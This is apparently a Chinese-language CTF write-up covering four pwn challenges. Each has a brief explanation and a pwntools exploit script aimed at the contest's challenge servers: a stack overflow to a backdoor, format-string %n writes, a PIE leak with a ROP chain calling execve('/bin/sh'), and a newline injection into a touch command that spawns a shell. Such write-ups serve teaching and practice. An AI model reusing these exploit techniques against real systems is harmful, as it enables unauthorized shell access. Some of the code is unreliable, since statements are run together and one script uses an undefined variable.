stack
一道不错的题目,让我对pwndbg的使用进一步的熟练


程序代码很简单,自定义输入字符串长度,通过循环不断输入,那么可以造成栈溢出,并且存在后门函数。但是此题的关键在于变量i会被覆盖,那么就会导致程序根据i将我们输入的东西写入到另一个地方。

因此,我们可以找准i的偏移,防止其被覆盖,我们就可以正常栈溢出到返回地址。
from pwn import* io=remote('challenge.imxbt.cn',20197) #io=process('./stack') ret=0x040101a backdoor=0x4012E6
def debug(): gdb.attach(io) pause()
payload=cyclic(0x1d)+b'\x1f'+b'a'*8+p64(ret)+p64(backdoor) io.send(b'51') io.send(payload)
#debug()
io.interactive()
|
fmt

存在格式化字符串漏洞需要将n18和n52的值分别改为18和52,先算出两者的偏移,再利用%{}$n修改值。
from pwn import* #io=process('./fmt') io=remote('gz.imxbt.cn',20153) def debug(): gdb.attach(io) pause()
payload=b'a'*18+b'%8$n'+b'a'*34+b'%9$n' io.sendline(payload) #debug()
io.interactive()
|
ezpie


开启了pie保护,存在格式化字符串漏洞,可以泄漏基址,又因为存在/bin/sh字符串且存在栈溢出,因此可以打系统调用或者ret2libc。
from pwn import *
#io = process("./ezpie") io = remote("gz.imxbt.cn",20167) offset = 88 io.sendafter('your name->',b'A'*40) io.recvuntil(b'A'*40) func = u64(io.recv(6).ljust(8,b'\x00')) print('func\t',hex(func)) base_addr = a - 0x120e print(hex(base_addr)) main_addr = 0x1254 + base_addr pop_rax = 0x12c8 + base_addr pop_rdi = 0x1333 + base_addr pop_rsi_r15= 0x1331 + base_addr binsh = 0x2008 + base_addr sys_ret = 0x12C5 + base_addr payload = cyclic(offset) payload += p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(binsh) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(sys_ret) io.sendlineafter('please enter your information-> ',payload) io.interactive()
|
touch_file1


有touch命令,然后有字符检查,由于没有禁止\n,那么就使用\n结束touch命令,执行/bin/sh。
from pwn import* io=remote('gz.imxbt.cn',20302)
io.sendline(b'1') io.sendline(b'a\n /bin/sh\n')
io.interactive()
|